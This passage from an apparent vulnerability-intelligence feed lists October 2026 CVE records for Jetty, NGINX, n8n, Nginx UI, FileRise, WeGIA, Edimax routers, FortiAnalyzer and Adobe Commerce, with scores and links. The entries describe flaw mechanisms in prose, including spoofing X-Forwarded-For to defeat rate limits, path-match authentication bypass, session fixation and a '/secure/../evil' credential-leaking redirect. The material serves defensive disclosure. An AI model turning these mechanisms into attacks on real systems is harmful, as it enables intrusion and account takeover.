EPSS 0.3% for the following 30 days, scored Oct 25, 2026 (https://api.first.org/data/v1/epss?cve=CVE-2026-110723&date=2026-10-25).
Sources:
NVD CVE-2026-110723: https://nvd.nist.gov/vuln/detail/CVE-2026-110723
NVD CVE API 2.0: https://services.nvd.nist.gov/rest/json/cves/2.0?pubStartDate=2026-10-12T13:35:55.142Z&pubEndDate=2026-10-26T13:35:55.142Z&resultsPerPage=500&startIndex=3500
FIRST measured EPSS score: https://api.first.org/data/v1/epss?cve=CVE-2026-110723&date=2026-10-25
In `api-gateway` versions till `1.7.3`, The default rate-limit key resolver, `ClientIpKeyResolver`, derives the per-client bucket key from the leftmost element of the `X-Forwarded-For` request header. That element is supplied by the originating HTTP client and is not validated against any trusted-proxy list. A single attacker can therefore obtain an unlimited number of independent rate-limit buckets — one per unique header value — and completely bypass the gateway's request-rate limiting on every route that uses the shipped default configuration.

NVD status: Awaiting Analysis. Publication in the NVD is not evidence of exploitation.
Action: Check the vendor advisory for affected versions and fixes.
Kind: vulnerability; regions: Global; provenance: pipeline.
KEV evidence not available.

### In Eclipse Jetty, across various versions of `jetty-server`, and `jetty-proxy`, the host whitelist/blacklist is case-sensitive, and would allow hosts through that only differ by...
https://kevwire.com/record/CVE-2026-18660
In Eclipse Jetty, across various versions of `jetty-server`, and `jetty-proxy`, the host whitelist/blacklist is case-sensitive, and would allow hosts through that only differ by... (Oct 15, 2026).
In Eclipse Jetty, across various versions of `jetty-server`, and `jetty-proxy`, the host whitelist/blacklist is case-sensitive, and would allow hosts through that only differ by case.
CVSS 8.8 (version 4.0; evidence as of Oct 15, 2026; https://nvd.nist.gov/vuln/detail/CVE-2026-18660).
EPSS 0.3% for the following 30 days, scored Oct 25, 2026 (https://api.first.org/data/v1/epss?cve=CVE-2026-18660&date=2026-10-25).
Sources:
NVD CVE-2026-18660: https://nvd.nist.gov/vuln/detail/CVE-2026-18660
NVD CVE API 2.0: https://services.nvd.nist.gov/rest/json/cves/2.0?pubStartDate=2026-10-12T13:35:55.142Z&pubEndDate=2026-10-26T13:35:55.142Z&resultsPerPage=500&startIndex=3500
FIRST measured EPSS score: https://api.first.org/data/v1/epss?cve=CVE-2026-18660&date=2026-10-25
In Eclipse Jetty, across various versions of `jetty-server`, and `jetty-proxy`, the host whitelist/blacklist is case-sensitive, and would allow hosts through that only differ by case.

NVD status: Awaiting Analysis. Publication in the NVD is not evidence of exploitation.
Action: Check the vendor advisory for affected versions and fixes.
Kind: vulnerability; regions: Global; provenance: pipeline.
KEV evidence not available.

### In Eclipse Jetty, across various versions of `jetty-annotations`, and `jetty-eeN-annotations`, the Jakarta Spec authoritative url-pattern rules for mixed `@ServletSecurity`...
https://kevwire.com/record/CVE-2026-18661
In Eclipse Jetty, across various versions of `jetty-annotations`, and `jetty-eeN-annotations`, the Jakarta Spec authoritative url-pattern rules for mixed `@ServletSecurity`... (Oct 15, 2026).
In Eclipse Jetty, across various versions of `jetty-annotations`, and `jetty-eeN-annotations`, the Jakarta Spec authoritative url-pattern rules for mixed `@ServletSecurity` annotation, and `web.xml` defined `security-constraint` on the same `url-pattern` were not being applied if the `web.xml` had more than 1 `url-pattern` for a servlet, and had a `security-constraint` applying to only some of those `url-pattern` definitions.
CVSS 8.8 (version 4.0; evidence as of Oct 15, 2026; https://nvd.nist.gov/vuln/detail/CVE-2026-18661).
EPSS 0.4% for the following 30 days, scored Oct 25, 2026 (https://api.first.org/data/v1/epss?cve=CVE-2026-18661&date=2026-10-25).
Sources:
NVD CVE-2026-18661: https://nvd.nist.gov/vuln/detail/CVE-2026-18661
NVD CVE API 2.0: https://services.nvd.nist.gov/rest/json/cves/2.0?pubStartDate=2026-10-12T13:35:55.142Z&pubEndDate=2026-10-26T13:35:55.142Z&resultsPerPage=500&startIndex=3500
FIRST measured EPSS score: https://api.first.org/data/v1/epss?cve=CVE-2026-18661&date=2026-10-25
In Eclipse Jetty, across various versions of `jetty-annotations`, and `jetty-eeN-annotations`, the Jakarta Spec authoritative url-pattern rules for mixed `@ServletSecurity` annotation, and `web.xml` defined `security-constraint` on the same `url-pattern` were not being applied if the `web.xml` had more than 1 `url-pattern` for a servlet, and had a `security-constraint` applying to only some of those `url-pattern` definitions.

NVD status: Awaiting Analysis. Publication in the NVD is not evidence of exploitation.
Action: Check the vendor advisory for affected versions and fixes.
Kind: vulnerability; regions: Global; provenance: pipeline.
KEV evidence not available.

### An unauthenticated client may access certain protected resources when using EthereumAuthenticator if the request path contains the configured login path.
https://kevwire.com/record/CVE-2026-19863
An unauthenticated client may access certain protected resources when using EthereumAuthenticator if the request path contains the configured login path. (Oct 15, 2026).
An unauthenticated client may access certain protected resources when using EthereumAuthenticator if the request path contains the configured login path.



This is caused by the authenticator using an unanchored substring match when identifying the login page. If the login path appears later within a protected request path, the request may be treated as the login page and its authentication or role requirement replaced with ALLOWED.



Exploitation requires the protected resource path to contain the configured login path as a later segment. Explicitly FORBIDDEN routes are not affected.
CVSS 9.3 (version 4.0; evidence as of Oct 15, 2026; https://nvd.nist.gov/vuln/detail/CVE-2026-19863).
EPSS 0.5% for the following 30 days, scored Oct 25, 2026 (https://api.first.org/data/v1/epss?cve=CVE-2026-19863&date=2026-10-25).
Sources:
NVD CVE-2026-19863: https://nvd.nist.gov/vuln/detail/CVE-2026-19863
NVD CVE API 2.0: https://services.nvd.nist.gov/rest/json/cves/2.0?pubStartDate=2026-10-12T13:35:55.142Z&pubEndDate=2026-10-26T13:35:55.142Z&resultsPerPage=500&startIndex=3500
FIRST measured EPSS score: https://api.first.org/data/v1/epss?cve=CVE-2026-19863&date=2026-10-25
An unauthenticated client may access certain protected resources when using EthereumAuthenticator if the request path contains the configured login path.



This is caused by the authenticator using an unanchored substring match when identifying the login page. If the login path appears later within a protected request path, the request may be treated as the login page and its authentication or role requirement replaced with ALLOWED.



Exploitation requires the protected resource path to contain the configured login path as a later segment. Explicitly FORBIDDEN routes are not affected.

NVD status: Awaiting Analysis. Publication in the NVD is not evidence of exploitation.
Action: Check the vendor advisory for affected versions and fixes.
Kind: vulnerability; regions: Global; provenance: pipeline.
KEV evidence not available.

### In Eclipse Jetty, HttpClient may receive a redirect of the form:



```



/secure/../evil



```



If an attacker is able to control the redirects, then HttpClient matches...
https://kevwire.com/record/CVE-2026-76184
In Eclipse Jetty, HttpClient may receive a redirect of the form:



```



/secure/../evil



```



If an attacker is able to control the redirects, then HttpClient matches... (Oct 15, 2026).
In Eclipse Jetty, HttpClient may receive a redirect of the form:



```



/secure/../evil



```



If an attacker is able to control the redirects, then HttpClient matches authentication credentials against `/secure` rather than normalizing the path to `/evil`, and will therefore follow the redirect sending the `Authorization` header for `/secure` to `/evil`.



This also mean that the attacker must have an evil application deployed on the same domain as the target.
CVSS 8.2 (version 4.0; evidence as of Oct 15, 2026; https://nvd.nist.gov/vuln/detail/CVE-2026-76184).
EPSS 0.4% for the following 30 days, scored Oct 25, 2026 (https://api.first.org/data/v1/epss?cve=CVE-2026-76184&date=2026-10-25).
Sources:
NVD CVE-2026-76184: https://nvd.nist.gov/vuln/detail/CVE-2026-76184
NVD CVE API 2.0: https://services.nvd.nist.gov/rest/json/cves/2.0?pubStartDate=2026-10-12T13:35:55.142Z&pubEndDate=2026-10-26T13:35:55.142Z&resultsPerPage=500&startIndex=3500
FIRST measured EPSS score: https://api.first.org/data/v1/epss?cve=CVE-2026-76184&date=2026-10-25
In Eclipse Jetty, HttpClient may receive a redirect of the form:



```



/secure/../evil



```



If an attacker is able to control the redirects, then HttpClient matches authentication credentials against `/secure` rather than normalizing the path to `/evil`, and will therefore follow the redirect sending the `Authorization` header for `/secure` to `/evil`.



This also mean that the attacker must have an evil application deployed on the same domain as the target.

NVD status: Awaiting Analysis. Publication in the NVD is not evidence of exploitation.
Action: Check the vendor advisory for affected versions and fixes.
Kind: vulnerability; regions: Global; provenance: pipeline.
KEV evidence not available.

### When Jetty's `HttpClient` make a request to a server through a forward proxy, the server may reply with a 407 (Proxy Authentication Required).
https://kevwire.com/record/CVE-2026-77711
When Jetty's `HttpClient` make a request to a server through a forward proxy, the server may reply with a 407 (Proxy Authentication Required). (Oct 15, 2026).
When Jetty's `HttpClient` make a request to a server through a forward proxy, the server may reply with a 407 (Proxy Authentication Required).



The client mistakenly interprets the 407 as coming from the proxy, so it re-sends the request with the `Proxy-Authentication` header, which arrives to the server, that now has access to the proxy credentials.
CVSS 8.2 (version 4.0; evidence as of Oct 15, 2026; https://nvd.nist.gov/vuln/detail/CVE-2026-77711).
EPSS 0.4% for the following 30 days, scored Oct 25, 2026 (https://api.first.org/data/v1/epss?cve=CVE-2026-77711&date=2026-10-25).
Sources:
NVD CVE-2026-77711: https://nvd.nist.gov/vuln/detail/CVE-2026-77711
NVD CVE API 2.0: https://services.nvd.nist.gov/rest/json/cves/2.0?pubStartDate=2026-10-12T13:35:55.142Z&pubEndDate=2026-10-26T13:35:55.142Z&resultsPerPage=500&startIndex=3500
FIRST measured EPSS score: https://api.first.org/data/v1/epss?cve=CVE-2026-77711&date=2026-10-25
When Jetty's `HttpClient` make a request to a server through a forward proxy, the server may reply with a 407 (Proxy Authentication Required).



The client mistakenly interprets the 407 as coming from the proxy, so it re-sends the request with the `Proxy-Authentication` header, which arrives to the server, that now has access to the proxy credentials.

NVD status: Awaiting Analysis. Publication in the NVD is not evidence of exploitation.
Action: Check the vendor advisory for affected versions and fixes.
Kind: vulnerability; regions: Global; provenance: pipeline.
KEV evidence not available.

### Nginx UI is a web user interface for the Nginx web server.
https://kevwire.com/record/CVE-2026-84313
Nginx UI is a web user interface for the Nginx web server. (Oct 12, 2026).
Nginx UI is a web user interface for the Nginx web server. Prior to 2.4.1, POST /api/otp_enroll and POST /api/finish_passkey_register are registered outside RequireSecureSession and accept a normal authenticated session without verifying the current password. An attacker with a stolen JWT can bind an attacker-controlled TOTP secret when the victim has not already enabled TOTP, or can register an attacker-controlled passkey because that path has no equivalent existing-enrollment guard. These changes create persistent account access that can survive a password change and interfere with the legitimate user's authentication. This issue is fixed in version 2.4.1.
CVSS 8.8 (version 3.1; evidence as of Oct 15, 2026; https://nvd.nist.gov/vuln/detail/CVE-2026-84313).
EPSS 0.5% for the following 30 days, scored Oct 25, 2026 (https://api.first.org/data/v1/epss?cve=CVE-2026-84313&date=2026-10-25).
Sources:
NVD CVE-2026-84313: https://nvd.nist.gov/vuln/detail/CVE-2026-84313
NVD CVE API 2.0: https://services.nvd.nist.gov/rest/json/cves/2.0?pubStartDate=2026-10-12T13:35:55.142Z&pubEndDate=2026-10-26T13:35:55.142Z&resultsPerPage=500&startIndex=0
FIRST measured EPSS score: https://api.first.org/data/v1/epss?cve=CVE-2026-84313&date=2026-10-25
Nginx UI is a web user interface for the Nginx web server. Prior to 2.4.1, POST /api/otp_enroll and POST /api/finish_passkey_register are registered outside RequireSecureSession and accept a normal authenticated session without verifying the current password. An attacker with a stolen JWT can bind an attacker-controlled TOTP secret when the victim has not already enabled TOTP, or can register an attacker-controlled passkey because that path has no equivalent existing-enrollment guard. These changes create persistent account access that can survive a password change and interfere with the legitimate user's authentication. This issue is fixed in version 2.4.1.

NVD status: Deferred. Publication in the NVD is not evidence of exploitation.
Action: Check the vendor advisory for affected versions and fixes.
Kind: vulnerability; regions: Global; provenance: pipeline.
KEV evidence not available.

### FileRise is a self-hosted web-based file manager with multi-file upload, editing, and batch operations.
https://kevwire.com/record/CVE-2026-61844
FileRise is a self-hosted web-based file manager with multi-file upload, editing, and batch operations. (Oct 14, 2026).
FileRise is a self-hosted web-based file manager with multi-file upload, editing, and batch operations. Prior to 3.18.0, FileRise flattens logical folder paths into metadata filenames by replacing separators and spaces with hyphens, so distinct folders such as team/docs and team-docs can share one metadata file. Because uploader metadata is used to authorize read_own and ownership-restricted edits, a low-privileged user who controls one colliding folder, knows the target basename, and already has read_own access to the target folder can alter the metadata used by that folder, make the victim file appear attacker-owned, read it, and modify it when edit-own permission is also available. This issue is fixed in version 3.18.0.
CVSS 7.1 (version 3.1; evidence as of Oct 15, 2026; https://nvd.nist.gov/vuln/detail/CVE-2026-61844).
EPSS 0.3% for the following 30 days, scored Oct 25, 2026 (https://api.first.org/data/v1/epss?cve=CVE-2026-61844&date=2026-10-25).
Sources:
NVD CVE-2026-61844: https://nvd.nist.gov/vuln/detail/CVE-2026-61844
NVD CVE API 2.0: https://services.nvd.nist.gov/rest/json/cves/2.0?pubStartDate=2026-10-12T13:35:55.142Z&pubEndDate=2026-10-26T13:35:55.142Z&resultsPerPage=500&startIndex=3500
FIRST measured EPSS score: https://api.first.org/data/v1/epss?cve=CVE-2026-61844&date=2026-10-25
FileRise is a self-hosted web-based file manager with multi-file upload, editing, and batch operations. Prior to 3.18.0, FileRise flattens logical folder paths into metadata filenames by replacing separators and spaces with hyphens, so distinct folders such as team/docs and team-docs can share one metadata file. Because uploader metadata is used to authorize read_own and ownership-restricted edits, a low-privileged user who controls one colliding folder, knows the target basename, and already has read_own access to the target folder can alter the metadata used by that folder, make the victim file appear attacker-owned, read it, and modify it when edit-own permission is also available. This issue is fixed in version 3.18.0.

NVD status: Deferred. Publication in the NVD is not evidence of exploitation.
Action: Check the vendor advisory for affected versions and fixes.
Kind: vulnerability; regions: Global; provenance: pipeline.
KEV evidence not available.

### WeGIA is a web manager for charitable institutions.
https://kevwire.com/record/CVE-2026-55682
WeGIA is a web manager for charitable institutions. (Oct 14, 2026).
WeGIA is a web manager for charitable institutions. Prior to 3.8.6, the auto-prepended web/html/seguranca/sessionStart.php reflects an attacker-supplied PHPSESSID cookie in a Set-Cookie response and uses DB_HOST as the cookie domain. If a victim authenticates while using the attacker-selected identifier, the attacker can reuse that identifier to hijack the authenticated session. The response also discloses the internal database host name through the cookie Domain attribute, and the vulnerable session handler affects all PHP pages. This issue is fixed in version 3.8.6.
CVSS 8.1 (version 3.1; evidence as of Oct 15, 2026; https://nvd.nist.gov/vuln/detail/CVE-2026-55682).
EPSS 0.4% for the following 30 days, scored Oct 25, 2026 (https://api.first.org/data/v1/epss?cve=CVE-2026-55682&date=2026-10-25).
Sources:
NVD CVE-2026-55682: https://nvd.nist.gov/vuln/detail/CVE-2026-55682
NVD CVE API 2.0: https://services.nvd.nist.gov/rest/json/cves/2.0?pubStartDate=2026-10-12T13:35:55.142Z&pubEndDate=2026-10-26T13:35:55.142Z&resultsPerPage=500&startIndex=3500
FIRST measured EPSS score: https://api.first.org/data/v1/epss?cve=CVE-2026-55682&date=2026-10-25
WeGIA is a web manager for charitable institutions. Prior to 3.8.6, the auto-prepended web/html/seguranca/sessionStart.php reflects an attacker-supplied PHPSESSID cookie in a Set-Cookie response and uses DB_HOST as the cookie domain. If a victim authenticates while using the attacker-selected identifier, the attacker can reuse that identifier to hijack the authenticated session. The response also discloses the internal database host name through the cookie Domain attribute, and the vulnerable session handler affects all PHP pages. This issue is fixed in version 3.8.6.

NVD status: Deferred. Publication in the NVD is not evidence of exploitation.
Action: Check the vendor advisory for affected versions and fixes.
Kind: vulnerability; regions: Global; provenance: pipeline.
KEV evidence not available.

### n8n before 1.123.83, 2.x before 2.41.4, and 2.42.x before 2.42.1 contains a stored cross-site scripting vulnerability in the Chat Trigger hosted-chat page, where insufficiently...
https://kevwire.com/record/CVE-2026-110847
n8n before 1.123.83, 2.x before 2.41.4, and 2.42.x before 2.42.1 contains a stored cross-site scripting vulnerability in the Chat Trigger hosted-chat page, where insufficiently... (Oct 14, 2026).
n8n before 1.123.83, 2.x before 2.41.4, and 2.42.x before 2.42.1 contains a stored cross-site scripting vulnerability in the Chat Trigger hosted-chat page, where insufficiently sanitised customCss values are interpolated into the page as markup. Workflow authors can publish a chat without n8n user authentication whose payload executes on the instance origin, acting on the sessions of signed-in visitors.
CVSS 7.0 (version 4.0; evidence as of Oct 15, 2026; https://nvd.nist.gov/vuln/detail/CVE-2026-110847).
EPSS 0.4% for the following 30 days, scored Oct 25, 2026 (https://api.first.org/data/v1/epss?cve=CVE-2026-110847&date=2026-10-25).
Sources:
NVD CVE-2026-110847: https://nvd.nist.gov/vuln/detail/CVE-2026-110847
NVD CVE API 2.0: https://services.nvd.nist.gov/rest/json/cves/2.0?pubStartDate=2026-10-12T13:35:55.142Z&pubEndDate=2026-10-26T13:35:55.142Z&resultsPerPage=500&startIndex=3500
FIRST measured EPSS score: https://api.first.org/data/v1/epss?cve=CVE-2026-110847&date=2026-10-25
n8n before 1.123.83, 2.x before 2.41.4, and 2.42.x before 2.42.1 contains a stored cross-site scripting vulnerability in the Chat Trigger hosted-chat page, where insufficiently sanitised customCss values are interpolated into the page as markup. Workflow authors can publish a chat without n8n user authentication whose payload executes on the instance origin, acting on the sessions of signed-in visitors.

NVD status: Deferred. Publication in the NVD is not evidence of exploitation.
Action: Check the vendor advisory for affected versions and fixes.
Kind: vulnerability; regions: Global; provenance: pipeline.
KEV evidence not available.

### n8n before 2.41.4 and 2.42.x before 2.42.1 contains a prototype pollution vulnerability in the MCP workflow-validation tool, whose interpreter evaluates caller-supplied code in...
https://kevwire.com/record/CVE-2026-110842
n8n before 2.41.4 and 2.42.x before 2.42.1 contains a prototype pollution vulnerability in the MCP workflow-validation tool, whose interpreter evaluates caller-supplied code in... (Oct 14, 2026).
n8n before 2.41.4 and 2.42.x before 2.42.1 contains a prototype pollution vulnerability in the MCP workflow-validation tool, whose interpreter evaluates caller-supplied code in the main process, reads inherited properties, and permits assignment onto shared prototypes. An authenticated member holding only a workflow:read grant can replace a built-in method with one returning a truthy value so server-side permission checks accept unheld scopes, enabling takeover of owner accounts not protected by MFA.
CVSS 7.7 (version 4.0; evidence as of Oct 15, 2026; https://nvd.nist.gov/vuln/detail/CVE-2026-110842).
EPSS 0.3% for the following 30 days, scored Oct 25, 2026 (https://api.first.org/data/v1/epss?cve=CVE-2026-110842&date=2026-10-25).
Sources:
NVD CVE-2026-110842: https://nvd.nist.gov/vuln/detail/CVE-2026-110842
NVD CVE API 2.0: https://services.nvd.nist.gov/rest/json/cves/2.0?pubStartDate=2026-10-12T13:35:55.142Z&pubEndDate=2026-10-26T13:35:55.142Z&resultsPerPage=500&startIndex=3500
FIRST measured EPSS score: https://api.first.org/data/v1/epss?cve=CVE-2026-110842&date=2026-10-25
n8n before 2.41.4 and 2.42.x before 2.42.1 contains a prototype pollution vulnerability in the MCP workflow-validation tool, whose interpreter evaluates caller-supplied code in the main process, reads inherited properties, and permits assignment onto shared prototypes. An authenticated member holding only a workflow:read grant can replace a built-in method with one returning a truthy value so server-side permission checks accept unheld scopes, enabling takeover of owner accounts not protected by MFA.

NVD status: Deferred. Publication in the NVD is not evidence of exploitation.
Action: Check the vendor advisory for affected versions and fixes.
Kind: vulnerability; regions: Global; provenance: pipeline.
KEV evidence not available.

### A vulnerability was identified in Edimax BR-6208AC 1.32. Impacted is an unknown function of the file /goform/formWlanMP.
https://kevwire.com/record/CVE-2026-108918
A vulnerability was identified in Edimax BR-6208AC 1.32. Impacted is an unknown function of the file /goform/formWlanMP. (Oct 12, 2026).
A vulnerability was identified in Edimax BR-6208AC 1.32. Impacted is an unknown function of the file /goform/formWlanMP. The manipulation of the argument readE2P leads to command injection. It is possible to initiate the attack remotely. The exploit is publicly available and might be used. The vendor was contacted early about this disclosure but did not respond in any way. This vulnerability only affects products that are no longer supported by the maintainer.
CVSS 9.3 (version 4.0; evidence as of Oct 15, 2026; https://nvd.nist.gov/vuln/detail/CVE-2026-108918).
EPSS 2.0% for the following 30 days, scored Oct 25, 2026 (https://api.first.org/data/v1/epss?cve=CVE-2026-108918&date=2026-10-25).
Sources:
NVD CVE-2026-108918: https://nvd.nist.gov/vuln/detail/CVE-2026-108918
NVD CVE API 2.0: https://services.nvd.nist.gov/rest/json/cves/2.0?pubStartDate=2026-10-12T13:35:55.142Z&pubEndDate=2026-10-26T13:35:55.142Z&resultsPerPage=500&startIndex=0
FIRST measured EPSS score: https://api.first.org/data/v1/epss?cve=CVE-2026-108918&date=2026-10-25
A vulnerability was identified in Edimax BR-6208AC 1.32. Impacted is an unknown function of the file /goform/formWlanMP. The manipulation of the argument readE2P leads to command injection. It is possible to initiate the attack remotely. The exploit is publicly available and might be used. The vendor was contacted early about this disclosure but did not respond in any way. This vulnerability only affects products that are no longer supported by the maintainer.

NVD status: Deferred. Publication in the NVD is not evidence of exploitation.
Action: Check the vendor advisory for affected versions and fixes.
Kind: vulnerability; regions: Global; provenance: pipeline.
KEV evidence not available.

### A flaw has been found in Edimax BR-6208AC 1.32. Affected by this issue is some unknown functionality of the file /goform/formWlSiteSurvey.
https://kevwire.com/record/CVE-2026-108914
A flaw has been found in Edimax BR-6208AC 1.32. Affected by this issue is some unknown functionality of the file /goform/formWlSiteSurvey. (Oct 12, 2026).
A flaw has been found in Edimax BR-6208AC 1.32. Affected by this issue is some unknown functionality of the file /goform/formWlSiteSurvey. This manipulation of the argument ifname causes buffer overflow. Remote exploitation of the attack is possible. The exploit has been published and may be used. The vendor was contacted early about this disclosure but did not respond in any way. This vulnerability only affects products that are no longer supported by the maintainer.
CVSS 8.6 (version 4.0; evidence as of Oct 15, 2026; https://nvd.nist.gov/vuln/detail/CVE-2026-108914).
EPSS 0.6% for the following 30 days, scored Oct 25, 2026 (https://api.first.org/data/v1/epss?cve=CVE-2026-108914&date=2026-10-25).
Sources:
NVD CVE-2026-108914: https://nvd.nist.gov/vuln/detail/CVE-2026-108914
NVD CVE API 2.0: https://services.nvd.nist.gov/rest/json/cves/2.0?pubStartDate=2026-10-12T13:35:55.142Z&pubEndDate=2026-10-26T13:35:55.142Z&resultsPerPage=500&startIndex=0
FIRST measured EPSS score: https://api.first.org/data/v1/epss?cve=CVE-2026-108914&date=2026-10-25
A flaw has been found in Edimax BR-6208AC 1.32. Affected by this issue is some unknown functionality of the file /goform/formWlSiteSurvey. This manipulation of the argument ifname causes buffer overflow. Remote exploitation of the attack is possible. The exploit has been published and may be used. The vendor was contacted early about this disclosure but did not respond in any way. This vulnerability only affects products that are no longer supported by the maintainer.

NVD status: Deferred. Publication in the NVD is not evidence of exploitation.
Action: Check the vendor advisory for affected versions and fixes.
Kind: vulnerability; regions: Global; provenance: pipeline.
KEV evidence not available.

### An Improper Neutralization of Special Elements used in an SQL Command ('SQL Injection') vulnerability [CWE-89] vulnerability in Fortinet FortiAnalyzer 7.6.0 through 7.6.4,...
https://kevwire.com/record/CVE-2025-46773
An Improper Neutralization of Special Elements used in an SQL Command ('SQL Injection') vulnerability [CWE-89] vulnerability in Fortinet FortiAnalyzer 7.6.0 through 7.6.4,... (Oct 13, 2026).
An Improper Neutralization of Special Elements used in an SQL Command ('SQL Injection') vulnerability [CWE-89] vulnerability in Fortinet FortiAnalyzer 7.6.0 through 7.6.4, FortiAnalyzer 7.4.0 through 7.4.7, FortiAnalyzer 7.2 all versions, FortiAnalyzer Cloud 7.6.2 through 7.6.4, FortiAnalyzer Cloud 7.4.1 through 7.4.7, FortiAnalyzer Cloud 7.2.1 through 7.2.11 may allow a low privileged user to execute arbitrary commands via crafted requests.
CVSS 8.8 (version 3.1; evidence as of Oct 15, 2026; https://nvd.nist.gov/vuln/detail/CVE-2025-46773).
EPSS 0.3% for the following 30 days, scored Oct 25, 2026 (https://api.first.org/data/v1/epss?cve=CVE-2025-46773&date=2026-10-25).
Sources:
NVD CVE-2025-46773: https://nvd.nist.gov/vuln/detail/CVE-2025-46773
NVD CVE API 2.0: https://services.nvd.nist.gov/rest/json/cves/2.0?pubStartDate=2026-10-12T13:35:55.142Z&pubEndDate=2026-10-26T13:35:55.142Z&resultsPerPage=500&startIndex=1000
FIRST measured EPSS score: https://api.first.org/data/v1/epss?cve=CVE-2025-46773&date=2026-10-25
An Improper Neutralization of Special Elements used in an SQL Command ('SQL Injection') vulnerability [CWE-89] vulnerability in Fortinet FortiAnalyzer 7.6.0 through 7.6.4, FortiAnalyzer 7.4.0 through 7.4.7, FortiAnalyzer 7.2 all versions, FortiAnalyzer Cloud 7.6.2 through 7.6.4, FortiAnalyzer Cloud 7.4.1 through 7.4.7, FortiAnalyzer Cloud 7.2.1 through 7.2.11 may allow a low privileged user to execute arbitrary commands via crafted requests.

NVD status: Awaiting Analysis. Publication in the NVD is not evidence of exploitation.
Action: Check the vendor advisory for affected versions and fixes.
Kind: vulnerability; regions: Global; provenance: pipeline.
KEV evidence not available.

### NGINX Plus and NGINX Open Source have a vulnerability in the ngx_http_core_module module.
https://kevwire.com/record/CVE-2026-97205
NGINX Plus and NGINX Open Source have a vulnerability in the ngx_http_core_module module. (Oct 14, 2026).
NGINX Plus and NGINX Open Source have a vulnerability in the ngx_http_core_module module. When asynchronous file I/O (AIO) is enabled in certain configurations, processing a Server Side Includes (SSI) page containing “include virtual” commands may trigger a Use-After-Free (UAF) in the NGINX worker process. This may cause memory corruption or a worker process crash. Additionally, attackers can execute code on systems with Address Space Layout Randomization (ASLR) disabled or when the attacker can bypass ASLR.

Impact:
This vulnerability may allow remote attackers to cause a denial-of-service (DoS) on the NGINX system, corrupt its memory, or possibly trigger code execution. There is no control plane exposure; this is a data plane issue only.




Note: Software versions which have reached End of Technical Support (EoTS) are not evaluated.
CVSS 9.2 (version 4.0; evidence as of Oct 15, 2026; https://nvd.nist.gov/vuln/detail/CVE-2026-97205).
EPSS 0.8% for the following 30 days, scored Oct 25, 2026 (https://api.first.org/data/v1/epss?cve=CVE-2026-97205&date=2026-10-25).
Sources:
NVD CVE-2026-97205: https://nvd.nist.gov/vuln/detail/CVE-2026-97205
NVD CVE API 2.0: https://services.nvd.nist.gov/rest/json/cves/2.0?pubStartDate=2026-10-12T13:35:55.142Z&pubEndDate=2026-10-26T13:35:55.142Z&resultsPerPage=500&startIndex=3000
FIRST measured EPSS score: https://api.first.org/data/v1/epss?cve=CVE-2026-97205&date=2026-10-25
NGINX Plus and NGINX Open Source have a vulnerability in the ngx_http_core_module module. When asynchronous file I/O (AIO) is enabled in certain configurations, processing a Server Side Includes (SSI) page containing “include virtual” commands may trigger a Use-After-Free (UAF) in the NGINX worker process. This may cause memory corruption or a worker process crash. Additionally, attackers can execute code on systems with Address Space Layout Randomization (ASLR) disabled or when the attacker can bypass ASLR.

Impact:
This vulnerability may allow remote attackers to cause a denial-of-service (DoS) on the NGINX system, corrupt its memory, or possibly trigger code execution. There is no control plane exposure; this is a data plane issue only.




Note: Software versions which have reached End of Technical Support (EoTS) are not evaluated.

NVD status: Awaiting Analysis. Publication in the NVD is not evidence of exploitation.
Action: Check the vendor advisory for affected versions and fixes.
Kind: vulnerability; regions: Global; provenance: pipeline.
KEV evidence not available.

### Adobe Commerce is affected by an Improper Input Validation vulnerability that could result in arbitrary code execution in the context of the current user.
https://kevwire.com/record/CVE-2026-95631
Adobe Commerce is affected by an Improper Input Validation vulnerability that could result in arbitrary code execution in the context of the current user. (Oct 13, 2026).
Adobe Commerce is affected by an Improper Input Validation vulnerability that could result in arbitrary code execution in the context of the current user. An attacker with high privileges could exploit this vulnerability to execute arbitrary code. Exploitation of this issue does not require user interaction. Scope is changed.
CVSS 8.7 (version 3.1; evidence as of Oct 15, 2026; https://nvd.nist.gov/vuln/detail/CVE-2026-95631).
EPSS 0.9% for the following 30 days, scored Oct 25, 2026 (https://api.first.org/data/v1/epss?cve=CVE-2026-95631&date=2026-10-25).
Sources:
NVD CVE-2026-95631: https://nvd.nist.gov/vuln/detail/CVE-2026-95631
NVD CVE API 2.0: https://services.nvd.nist.gov/rest/json/cves/2.0?pubStartDate=2026-10-12T13:35:55.142Z&pubEndDate=2026-10-26T13:35:55.142Z&resultsPerPage=500&startIndex=2000
FIRST measured EPSS score: https://api.first.org/data/v1/epss?cve=CVE-2026-95631&date=2026-10-25
Adobe Commerce is affected by an Improper Input Validation vulnerability that could result in arbitrary code execution in the context of the current user. An attacker with high privileges could exploit this vulnerability to execute arbitrary code. Exploitation of this issue does not require user interaction. Scope is changed.

NVD status: Awaiting Analysis. Publication in the NVD is not evidence of exploitation.
Action: Check the vendor advisory for affected versions and fixes.
Kind: vulnerability; regions: Global; provenance: pipeline.
KEV evidence not available.

### A vulnerability exists in NGINX Plus and NGINX Open Source when a map directive uses regex matching and the root directive or access log format references the map's regex capture...
https://kevwire.com/record/CVE-2026-93479
A vulnerability exists in NGINX Plus and NGINX Open Source when a map directive uses regex matching and the root directive or access log format references the map's regex capture... (Oct 14, 2026).
A vulnerability exists in NGINX Plus and NGINX Open Source when a map directive uses regex matching and the root directive or access log format references the map's regex capture variables before referencing the map output variable. Alternatively, the same result could be achieved by using a non-cacheable variable in a string expression under certain conditions. An unauthenticated attacker along with conditions beyond their control can exploit this vulnerability by sending crafted HTTP requests. This may cause a heap buffer overflow in the NGINX worker process leading to a restart. Additionally, attackers can execute code on systems with Address Space Layout Randomization (ASLR) disabled or when the attacker can bypass ASLR.

Impact: 
This vulnerability may allow remote attackers to cause a denial-of-service (DoS) on the NGINX system or to possibly trigger a code execution. There is no control plane exposure; this is a data plane issue only.

Note: Software versions which have reached End of Technical Support (EoTS) are not evaluated.
CVSS 9.2 (version 4.0; evidence as of Oct 15, 2026; https://nvd.nist.gov/vuln/detail/CVE-2026-93479).
EPSS 1.0% for the following 30 days, scored Oct 25, 2026 (https://api.first.org/data/v1/epss?cve=CVE-2026-93479&date=2026-10-25).
Sources:
NVD CVE-2026-93479: https://nvd.nist.gov/vuln/detail/CVE-2026-93479
NVD CVE API 2.0: https://services.nvd.nist.gov/rest/json/cves/2.0?pubStartDate=2026-10-12T13:35:55.142Z&pubEndDate=2026-10-26T13:35:55.142Z&resultsPerPage=500&startIndex=3000
FIRST measured EPSS score: https://api.first.org/data/v1/epss?cve=CVE-2026-93479&date=2026-10-25
